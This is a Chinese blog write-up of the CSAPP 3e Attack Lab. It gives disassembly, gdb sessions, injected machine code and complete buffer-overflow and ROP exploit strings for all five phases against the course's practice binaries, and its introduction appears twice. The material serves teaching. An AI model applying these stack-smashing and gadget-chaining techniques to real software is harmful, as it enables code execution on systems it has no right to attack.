CSAPP 3e Attack lab
2016-02-17 21:55
375 查看
总结一下CSAPP第三版的各个lab。
这里介绍的是Attack lab,主要考察code-injection、return-oriented-programming攻击的理解,和gdb,objdump的简单使用。
首先登陆网站http://csapp.cs.cmu.edu/3e/labs.html。Windows下点击Self-Study Handout获取压缩包。我的工作环境是ubuntu,64位操作系统,使用wget指令直接下载。(chrome点击F12选取元素获取下载地址)tar解压。
请务必阅读一下http://csapp.cs.cmu.edu/3e/attacklab.pdf的官方说明。
这个实验主要是针对第三版的二三章,关于缓冲区溢出攻击的练习。与第二版不同之处在于增加了ROP(Return-Oriented Programming)的攻击手段。单纯的缓冲区溢出攻击容易受到堆栈随机化,金丝雀防护的制约。而ROP攻击利用程序中已有的汇编代码片段组合出需要执行的指令。推荐http://drops.wooyun.org/tips/3071这篇文章,进一步讲述了Blind Return Oriented Programming (BROP) Attack。看完之后如果感觉理解有困难,可以浏览一遍http://www.scs.stanford.edu/brop/bittau-brop-slides.pdf。
这里假定已经大致浏览过说明,对各个文件的内容有了解。
简要 说明一下:
cookie.txt:存放你攻击用的标识符
rtarget:执行return-oriented-programming攻击的程序
ctarget:执行code-injection攻击的程序
farm.c:“gadget farm产生代码片段用的
hex2raw:生成攻击字符串用的
实验分为5个部分。
Phase 1
首先反汇编可执行程序,生成汇编代码。
objdump -d ctarget > ctarget.d
这一关的任务是从test函数跳转到touch1,。
test如下:
汇编如下:
test:
这里根据提示直接溢出覆盖getbuf的缓冲区,填写touch1的地址空间即可。
getbuf:
touch1:
buf的起始地址为%rsp,然后大小为0x28(40)字节,只要填充着四十个字节之后,追加touch1的地址作为返回地址即可:0x4017c0。64位地址格式,高位补充0,完整地址为0x00000000004017c0。注意写汇编时的大小端问题!!!直接看代码就可以看出是小端。
或者使用gdb调试一下:
b设置断点,r为运行,加参数-q是因为实验为本地实验,不提交。x输出一下rsp寄存器内容,x/b显示单字节,可以看到是从高位开始。
因为是小端模式,所以追加的地址格式为c0 17 40 00 00 00 00 00。vim一个txt或者hex文件,内容如下(30换成CC什么的也可以):
然后调用下面命令查看结果(参考说明书有其他写法):
Phase 2
第二关在第一关的基础上增加了参数传递。
下面是touch2代码:
touch2汇编:
首先汇编函数的第一个参数储存在%edi中,所以我们的目标就是把cookie值存储到%edi中,然后跳转到touch2。注入代码如下:
这里可以把用gcc和objdump把汇编代码翻译为机器码。以上代码存储为insertValue.s 。
得到如下机器码:
然后使用上述字节码,填充到40字节,追加%rsp的地址作为返回地址,来执行这些代码。
下面使用gdb获取%rsp地址。在getbuf中的Gets那里打一个断点,查看一下rsp地址。
或者使用
这里可以看到地址为0x5561dc78,所以我们得到如下文件ctarget21.txt:
然后调用下面命令查看结果(参考说明书有其他写法):
Phase 3
这一关需要把cookie转化成字符串传递到touch3.
注意这里的问题,首先是cookie的存放位置,如果存放到buf里,那接下来的hexmatch可能会覆盖它的堆栈,但是buf的父堆栈是安全的,我们把touch3的地址放到父堆栈的顶部就可以了。
我们首先构造注入代码,touch3的地址为0x4018fa,根据上一关我们已经得到的%rsp地址0x5561dc78,返回地址应为%rsp+0x28(保存代码执行地址的位置),然后字符串地址应为%rsp+0x30(48).
保存为bufInsert.s(原谅我乱起的名字,要知道,变量命名是程序员第一难题)。
得到如下代码:
接着构造字符串,我的cookie是0x59b997fa,这里需要转换成ASCII格式,使用man ascii查看即可,我的对应ascii码为35 39 62 39 39 37 66 61 00。
总结一下,文件应该有以下几个部分,首先是注入的代码以及填充字节,然后是注入代码的地址,最后是字符串。构造ctarget31.txt如下:
执行:
对啦!!看一下成功的样例:
Phase 4
下面的两关都是使用ROP攻击的例子了,因为栈随机化,所以不能使用固定的%rsp地址跳转,有些区域还会禁止代码可执行,这里使用ROP,用程序自身的代码片段来构造攻击。
这里的目标和Phase2一样,传递cookie(0x59b997fa)到touch2(0x4017ec)。
就是如何把cookie传递到%edi里面的问题,最简单的想法是把cookie存到%rsp里面,然后弹出,但是没有找到
地址为
后续动作可以利用下面代码完成:
在下面这段代码找到:
起始地址为
总结一下,文件应该包含以下几部分,首先是填充区,然后是gadget的返回地址,cookie,gadget2的返回地址,touch2的地址。构造ctarget4.txt文件如下:
执行:
Phase 5
这一关目标和Phase3一样,使用cookie构造字符串传递到touch3,使用rop的攻击手段。
首先寻找和%rsp相关的代码。
找到如下片段:
第一个
接下来我们需要一个可以递增%rax的代码片段来指向我们的cookie地址。
找到代表
第二个
接下来需要%rax内容移动到%rdi中,找到代表
片段如下:
第三个
现在总结一下,攻击的文件应该有如下部分,填充区1,gadget1,gadget2,gadget3,touch3的地址,填充区2,cookie。第二个填充区的大小为55(0x37)-3*8=31字节。最后构造文件ctarget5.txt如下:
执行:
这里介绍的是Attack lab,主要考察code-injection、return-oriented-programming攻击的理解,和gdb,objdump的简单使用。
首先登陆网站http://csapp.cs.cmu.edu/3e/labs.html。Windows下点击Self-Study Handout获取压缩包。我的工作环境是ubuntu,64位操作系统,使用wget指令直接下载。(chrome点击F12选取元素获取下载地址)tar解压。
请务必阅读一下http://csapp.cs.cmu.edu/3e/attacklab.pdf的官方说明。
这个实验主要是针对第三版的二三章,关于缓冲区溢出攻击的练习。与第二版不同之处在于增加了ROP(Return-Oriented Programming)的攻击手段。单纯的缓冲区溢出攻击容易受到堆栈随机化,金丝雀防护的制约。而ROP攻击利用程序中已有的汇编代码片段组合出需要执行的指令。推荐http://drops.wooyun.org/tips/3071这篇文章,进一步讲述了Blind Return Oriented Programming (BROP) Attack。看完之后如果感觉理解有困难,可以浏览一遍http://www.scs.stanford.edu/brop/bittau-brop-slides.pdf。
这里假定已经大致浏览过说明,对各个文件的内容有了解。
简要 说明一下:
cookie.txt:存放你攻击用的标识符
rtarget:执行return-oriented-programming攻击的程序
ctarget:执行code-injection攻击的程序
farm.c:“gadget farm产生代码片段用的
hex2raw:生成攻击字符串用的
实验分为5个部分。
Phase 1
首先反汇编可执行程序,生成汇编代码。
objdump -d ctarget > ctarget.d
这一关的任务是从test函数跳转到touch1,。
test如下:
void test() { int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%x\n", val); }
汇编如下:
test:
0000000000401968 <test>: 401968: 48 83 ec 08 sub $0x8,%rsp 40196c: b8 00 00 00 00 mov $0x0,%eax 401971: e8 32 fe ff ff callq 4017a8 <getbuf> 401976: 89 c2 mov %eax,%edx 401978: be 88 31 40 00 mov $0x403188,%esi 40197d: bf 01 00 00 00 mov $0x1,%edi 401982: b8 00 00 00 00 mov $0x0,%eax 401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt> 40198c: 48 83 c4 08 add $0x8,%rsp
这里根据提示直接溢出覆盖getbuf的缓冲区,填写touch1的地址空间即可。
getbuf:
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop
touch1:
00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 callq 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
buf的起始地址为%rsp,然后大小为0x28(40)字节,只要填充着四十个字节之后,追加touch1的地址作为返回地址即可:0x4017c0。64位地址格式,高位补充0,完整地址为0x00000000004017c0。注意写汇编时的大小端问题!!!直接看代码就可以看出是小端。
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
或者使用gdb调试一下:
b设置断点,r为运行,加参数-q是因为实验为本地实验,不提交。x输出一下rsp寄存器内容,x/b显示单字节,可以看到是从高位开始。
gdb ctarget (gdb) b test Breakpoint 1 at 0x401968: file visible.c, line 90. (gdb) r -q Starting program: /home/ubuntu/workspace/target1/ctarget -q Cookie: 0x59b997fa Breakpoint 1, test () at visible.c:90 90 visible.c: No such file or directory. (gdb) x/gx $rsp 0x5561dcb0: 0x0000000000401f24 (gdb) x/b 0x5561dcb8: 0x00 (gdb)
因为是小端模式,所以追加的地址格式为c0 17 40 00 00 00 00 00。vim一个txt或者hex文件,内容如下(30换成CC什么的也可以):
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 c0 17 40 00 00 00 00 00
然后调用下面命令查看结果(参考说明书有其他写法):
cat ctarget11.txt | ./hex2raw | ./ctarget -q
Phase 2
第二关在第一关的基础上增加了参数传递。
下面是touch2代码:
void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }
touch2汇编:
00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 callq 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 callq 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
首先汇编函数的第一个参数储存在%edi中,所以我们的目标就是把cookie值存储到%edi中,然后跳转到touch2。注入代码如下:
movq $0x59b997fa,%rdi pushq $0x004017ec retq
这里可以把用gcc和objdump把汇编代码翻译为机器码。以上代码存储为insertValue.s 。
gcc -c insertValue.s objdump -d insertValue.o > insertValue.d
得到如下机器码:
insertValue.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 pushq $0x4017ec c: c3 retq
然后使用上述字节码,填充到40字节,追加%rsp的地址作为返回地址,来执行这些代码。
下面使用gdb获取%rsp地址。在getbuf中的Gets那里打一个断点,查看一下rsp地址。
gdb ctarget (gdb) b *0x4017af Breakpoint 1 at 0x4017af: file buf.c, line 14. (gdb) r -q Starting program: /home/ubuntu/workspace/target1/ctarget -q Cookie: 0x59b997fa Breakpoint 1, 0x00000000004017af in getbuf () at buf.c:14 14 buf.c: No such file or directory. (gdb) info registers rax 0x0 0 rbx 0x55586000 1431855104 rcx 0x3a676e6972747320 4208453775971873568 rdx 0xc 12 rsi 0x7ffff7dd59e0 140737351866848 rdi 0x5561dc78 1432476792 rbp 0x55685fe8 0x55685fe8 rsp 0x5561dc78 0x5561dc78 r8 0x0 0 r9 0x4032b4 4207284 r10 0x7ffff7fe0740 140737354008384 r11 0x7ffff7aa15c0 140737348507072 r12 0x2 2 r13 0x0 0 r14 0x0 0 r15 0x0 0 rip 0x4017af 0x4017af <getbuf+7> eflags 0x216 [ PF AF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
或者使用
(gdb) ctarget (gdb) b *(getbuf+14) (gdb) run -q Starting program (gdb) p/x $rsp
这里可以看到地址为0x5561dc78,所以我们得到如下文件ctarget21.txt:
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 dc 61 55 00 00 00 00
然后调用下面命令查看结果(参考说明书有其他写法):
cat ctarget21.txt | ./hex2raw | ./ctarget -q
Phase 3
这一关需要把cookie转化成字符串传递到touch3.
void touch3(char *sval) { if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }
注意这里的问题,首先是cookie的存放位置,如果存放到buf里,那接下来的hexmatch可能会覆盖它的堆栈,但是buf的父堆栈是安全的,我们把touch3的地址放到父堆栈的顶部就可以了。
我们首先构造注入代码,touch3的地址为0x4018fa,根据上一关我们已经得到的%rsp地址0x5561dc78,返回地址应为%rsp+0x28(保存代码执行地址的位置),然后字符串地址应为%rsp+0x30(48).
movq $0x5561dc98,%rdi pushq $0x004018fa retq ~
保存为bufInsert.s(原谅我乱起的名字,要知道,变量命名是程序员第一难题)。
gcc -c bufInsert.s objdump -d bufInsert.o > bufInsert.d
得到如下代码:
0: 48 c7 c7 98 dc 61 55 mov $0x5561dc98,%rdi 7: 68 fa 18 40 00 pushq $0x4018fa c: c3 retq
接着构造字符串,我的cookie是0x59b997fa,这里需要转换成ASCII格式,使用man ascii查看即可,我的对应ascii码为35 39 62 39 39 37 66 61 00。
总结一下,文件应该有以下几个部分,首先是注入的代码以及填充字节,然后是注入代码的地址,最后是字符串。构造ctarget31.txt如下:
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
执行:
cat ctarget31.txt | ./hex2raw | ./ctarget -q
对啦!!看一下成功的样例:
Cookie: 0x59b997fa Type string:Touch3!: You called touch3("59b997fa") Valid solution for level 3 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
Phase 4
下面的两关都是使用ROP攻击的例子了,因为栈随机化,所以不能使用固定的%rsp地址跳转,有些区域还会禁止代码可执行,这里使用ROP,用程序自身的代码片段来构造攻击。
这里的目标和Phase2一样,传递cookie(0x59b997fa)到touch2(0x4017ec)。
就是如何把cookie传递到%edi里面的问题,最简单的想法是把cookie存到%rsp里面,然后弹出,但是没有找到
popq %$rdi(字节码5f,查询开始的pdf手册可得)。但是找到了代表
popq %rax的字节码58。代码地址如下(objdump rtarget可得):
00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 retq
地址为
0x4019ab,gadget1!!!!
后续动作可以利用下面代码完成:
popq %rax movq %rax %edi ret
movq %rax %edi字节码为
48 89 c7 c3
在下面这段代码找到:
00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 retq
起始地址为
0x4019c5,
gadget2。
总结一下,文件应该包含以下几部分,首先是填充区,然后是gadget的返回地址,cookie,gadget2的返回地址,touch2的地址。构造ctarget4.txt文件如下:
cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
执行:
cat ctarget4.txt | ./hex2raw | ./rtarget -q
Phase 5
这一关目标和Phase3一样,使用cookie构造字符串传递到touch3,使用rop的攻击手段。
首先寻找和%rsp相关的代码。
4889e0 movq %rsp, %rax
找到如下片段:
0000000000401aab <setval_350>: 401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi) 401ab1: c3 retq
第一个
gadget1地址为
0x401aad。
接下来我们需要一个可以递增%rax的代码片段来指向我们的cookie地址。
找到代表
add $0x37, %al的
04 37:
00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 retq
第二个
gadget2地址为
0x4019d8。
接下来需要%rax内容移动到%rdi中,找到代表
mov %rax, %rdi的
48 89 c7。
片段如下:
00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 retq
第三个
gadget3地址为
0x4019a2。
现在总结一下,攻击的文件应该有如下部分,填充区1,gadget1,gadget2,gadget3,touch3的地址,填充区2,cookie。第二个填充区的大小为55(0x37)-3*8=31字节。最后构造文件ctarget5.txt如下:
cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc ad 1a 40 00 00 00 00 00 d8 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 35 39 62 39 39 37 66 61 00
执行:
cat ctarget5.txt | ./hex2raw | ./rtarget -q
相关文章推荐
- Android之Button点击事件处理的几种方式
- IOS第三天_面向对象1
- ios 拖线没有反应
- Android开发环境搭建(一)——开发环境简介
- 自定义ViewGroup —— Tags标签布局
- Android开发学习之路--异步消息Handler,Message,Looper和AsyncTask之初体验
- Android开发学习之路--异步消息Handler,Message,Looper和AsyncTask之初体验
- 收集Github上的iOS控件和开发资料
- android后台任务(二):IntentService
- ANDROID_MARS学习笔记_S01原始版_023_MP3PLAYER003_播放mp3
- 【转】图说Android的8年演变史
- iOS8定位问题解决方案
- Android Support V4是什么?
- 微信支付的开发
- android listview多种布局 getViewTypeCount和getItemViewType
- Android 学习笔记1
- IOS测试:XCTest小试牛刀
- Android中关于字符串与颜色的转换问题
- ios类别和继承的区别
- unity3D中使用Socket进行数据通信